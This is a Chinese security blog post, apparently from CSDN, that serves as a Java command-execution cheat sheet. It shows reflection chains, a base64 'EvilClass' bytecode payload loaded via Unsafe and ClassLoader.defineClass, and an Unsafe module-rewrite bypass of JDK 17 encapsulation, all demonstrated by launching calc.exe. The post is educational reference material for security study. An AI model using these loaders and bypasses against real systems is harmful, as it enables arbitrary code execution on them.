命令注入(java速查)

也不说为啥审核不通过,浪费我几分钟粘贴图片
在这里插入图片描述
慢慢转微信公众号吧,我的微信公众号:ToBeHacker

命令注入

方法适用场景是否推荐
Runtime.exec()简单命令(已过时)❌ 不推荐
ProcessBuilder复杂命令(推荐)✅ 推荐
Apache Commons Exec需要高级控制(超时、流处理)⭐⭐⭐⭐
ScriptEngine执行脚本(Bash/Python)⭐⭐⭐
JNI/JNA调用本地代码⭐⭐
GraalVM跨语言执行命令⭐⭐⭐
ProcessHandle进程管理(Java 9+)⭐⭐
JSch远程 SSH 执行⭐⭐⭐⭐
Docker Java API容器内命令执行⭐⭐⭐

反射机制

Class.forName("java.lang.Runtime")
                .getMethod("getRuntime")
                .invoke(null)
                .getClass()
                .getMethod("exec", String.class)
                .invoke(Class.forName("java.lang.Runtime")
                        .getMethod("getRuntime")
                        .invoke(null), "calc.exe");

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Object runtime = getRuntime.invoke(null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(runtime, "calc.exe");

Class.forName("java.lang.ProcessBuilder")
                .getConstructor(String[].class)
                .newInstance((Object)cmd)
                .getClass()
                .getMethod("start")
                .invoke(Class.forName("java.lang.ProcessBuilder")
                        .getConstructor(String[].class)
                        .newInstance((Object)new String[]{"calc.exe"}));

以上方式都是通过反射机制直接取危险类并调用,ClassLoader也是类似的,只不过是多了一道将字节码转换为类的机制。

ClassLoader

JDK9JDK16版本之中,Java.*依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*的非公共字段和方法的代码将抛出InaccessibleObjectException异常

利用ClassLoader来执行命令的具体步骤如下:

(1)构造恶意类

(2)生成字节码payload

(3)通过ClassLoader解析payload从而得到恶意类

(4)在实例化恶意类或调用恶意类方法来执行命令

构造恶意类
package org.example;

import java.io.IOException;

public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
生成字节码payload
public class Main {
    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, NoSuchFieldException, InstantiationException {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("EvilClass");

        cc.setSuperclass(pool.get("java.lang.Object"));

        // 2. 添加静态代码块(类初始化时执行)
//        CtMethod clinit = CtNewMethod.make(
        CtConstructor cons = CtNewConstructor.make(
                "public EvilClass() { " +
                        "    try { " +
                        "        Runtime.getRuntime().exec(\"calc.exe\"); " +
                        "    } catch (Exception e) { " +
                        "        throw new RuntimeException(e); " +
                        "    } " +
                        "}",
                cc
        );
        cc.addConstructor(cons);
//        cc.setModifiers(Modifier.PUBLIC);  // 设置类为public

        // 3. 生成字节码
        byte[] classBytes = cc.toBytecode();
        String base64Payload = Base64.getEncoder().encodeToString(classBytes);
        System.out.println(base64Payload);
        System.out.println();

        byte[] classBytes1 = Files.readAllBytes(Paths.get("C:\\code\\java\\demo_jdk8\\demo_jdk8\\target\\classes\\org\\example\\EvilClass.class"));
        String base64Payload1 = Base64.getEncoder().encodeToString(classBytes1);
        System.out.println(base64Payload1);
    }
}

以上展示了两种方式,第一种是直接通过源码设置类,第二种是加载恶意类的class文件,最后都会生成base64格式的字节码payload

执行命令

不同版本的jdk有不同的方式

java 1.8.0_202(jdk 8u202)

(1)unsafe方式(jdk17不可行)

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Field theUafeField= Unsafe.class.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class<?> c2=unsafe.defineClass("org.example.EvilClass",decode,0,decode.length,classLoader,null);
        c2.newInstance();
    }
}

注意defineClass时需要输入完整类名,使用第一种方式构造paylaod的改为EvilClass即可

(2)defineAnonymousClass方式(jdk17不可行)

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
        c2.newInstance();
    }
}

(3)Method方式

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
        method.setAccessible(true);
        Class cc=(Class) method.invoke(new MLet(new URL[0],Main.class.getClassLoader()), decode,new Integer(0),new Integer(decode.length));
        cc.newInstance();
    }
}
java 17.0.10

通过修改当前类的module为java.base保持和java.lang.ClassLoader同module下,从而完成绕过:

public class ReflectDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Field field= Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe=(Unsafe) field.get(null);
        Module baseModule=Object.class.getModule();
        Class currentClass= ReflectDemo.class;
        long offset= unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
        method.setAccessible(true);
        ((Class)method.invoke(ClassLoader.getSystemClassLoader(), decode,0, decode.length)).newInstance();
    }
}

注意,使用unsafe修改Module修改的是当前ReflectDemo的Module,因此Class currentClass= ReflectDemo.class;并不是随便选个类就可以的

Runtime

Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
int exitCode = process.waitFor();
System.out.println("退出码: " + exitCode);

ProcessBuilder

ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", "calc");
Process process = pb.start();
int exitCode = process.waitFor();

commandLine

<dependency>
			<groupId>org.apache.commons</groupId>
			<artifactId>commons-exec</artifactId>
			<version>1.3</version>
</dependency>
CommandLine cmd = new CommandLine("cmd.exe");
cmd.addArgument("/c");
cmd.addArgument("calc");
DefaultExecutor executor = new DefaultExecutor();
int exitCode = executor.execute(cmd);

ScriptEngine(java 15以下)

无需额外引入依赖

ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("var rt = Java.type('java.lang.Runtime');" +
                    "rt.getRuntime().exec('calc');");

GraalVME(java15及以上)

<dependency>
			<groupId>org.graalvm.js</groupId>
			<artifactId>js</artifactId>
			<version>24.1.1</version>
		</dependency>
		<dependency>
			<groupId>org.graalvm.js</groupId>
			<artifactId>js-scriptengine</artifactId>
			<version>24.1.1</version>
</dependency>
Context context = Context.newBuilder()
                .allowAllAccess(true)  // 允许访问所有 Java 类
                .build();
context.eval("js", "const Runtime = Java.type('java.lang.Runtime');");
        context.eval("js", "Runtime.getRuntime().exec('calc');");

java的一些概念

模块系统的访问限制(Java 9及以后版本)

module java.base does not "opens java.lang" to unnamed module 是 Java 9+ 模块系统(JPMS)的强封装性导致的典型错误。其核心原因是:未命名模块(Unnamed Module)尝试通过反射访问 java.base 模块中未开放的 java.lang

每个模块需声明其导出(exports)和开放(opens)的包:

module java.base {
    exports java.lang; // 默认导出,但未开放反射
}

意味着java.base模块不允许通过反射去访问java.lang包下面的类及成员

在 Java 9 之前,反射可无限制访问包内所有类及其成员(包括 private 类型),类信息并未真正隔离。模块系统(module-info.java)通过强封装实现以下改进:

  • 默认隐藏:模块内类默认对外不可见,仅显式导出的 public 类可被访问
  • 精准开放:通过 exports 指定对外暴露的包,opens 指令控制反射访问范围,避免过度暴露内部实现
  • 运行时限制:未开放包的反射访问会触发 IllegalAccessException,需通过 --add-opens 参数或模块声明开放权

exports 允许访问 public 成员,但无法访问 privateprotected 成员,而opens允许反射访问所有成员,允许通过 setAccessible(true) 绕过访问控制

其他指令:

  • requires:requires 指令允许模块声明运行时或编译时需要依赖的其他模块,若未声明依赖,编译时报错 module not found,运行时抛出 ClassNotFoundException

  • provides:允许模块声明自己实现了某个服务接口,并指定具体的实现类。其他模块可通过 ServiceLoader 动态发现并加载这些实现,实现松耦合的插件化架构

  • opens to:允许开发者精确指定哪些模块可以通过反射访问当前模块的特定包(包括私有成员),同时保持其他模块的访问限制,对于以下:

    opens <package-name> to <module1>, <module2>;
    

    代表module1、module2允许通过反射直接访问

@CallerSensitive

@CallerSensitive 标记的方法会 跳过当前栈帧,直接检查调用该方法的上层代码(真正的调用者)的权限,而不是方法内部的代码权限。

主要用于:

  • Class.forName()(类加载)
  • Method.invoke()(反射调用)
  • Unsafe 相关操作
  • ClassLoader.defineClass()(动态加载类)

Unsafe 修改类模块的原理

Java对象在内存中由对象头实例数据区组成。Unsafe通过以下步骤定位字段:

  • 获取对象基地址:对象实例的起始内存地址。
  • 计算字段偏移量:使用objectFieldOffset()方法获取字段在对象实例数据区中的偏移量。
  • 直接内存操作:通过基地址+偏移量定位字段内存位置,直接读写数据

而且Java的privateprotected等修饰符在Unsafe中被无视,可以通过偏移量直接读写内存,无需通过Java的getter/setter方法

Unsafe提供类加载相关的底层API:

  • 动态定义类:通过defineClass()方法直接加载字节码,绕过类加载器。
  • 修改类元数据:直接操作类对象的内存,改变类的结构或方法实现

参考

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值